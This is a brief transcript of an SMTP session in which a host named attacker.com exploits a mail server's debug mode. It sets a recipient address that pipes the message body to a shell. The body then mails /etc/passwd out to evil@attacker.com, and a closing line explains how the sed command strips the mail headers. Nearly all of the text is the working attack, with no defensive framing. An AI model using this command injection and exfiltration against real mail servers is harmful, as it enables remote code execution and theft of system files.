220 mail.victim.com SMTP
helo attacker.com
250 Hello attacker.com, pleased to meet you.
debug
200 OK
mail from: </dev/null>
250 OK
rcpt to:<|sed -e '1,/^$/'d | /bin/sh ; exit 0">
250 OK
data
354 Start mail input; end with <CRLF>.<CRLF>
mail evil@attacker.com </etc/passwd
.
250 OK
quit
221 mail.victim.com Terminating

The sed in the receipient strips all mail headers from the
message before passing it on to the shell.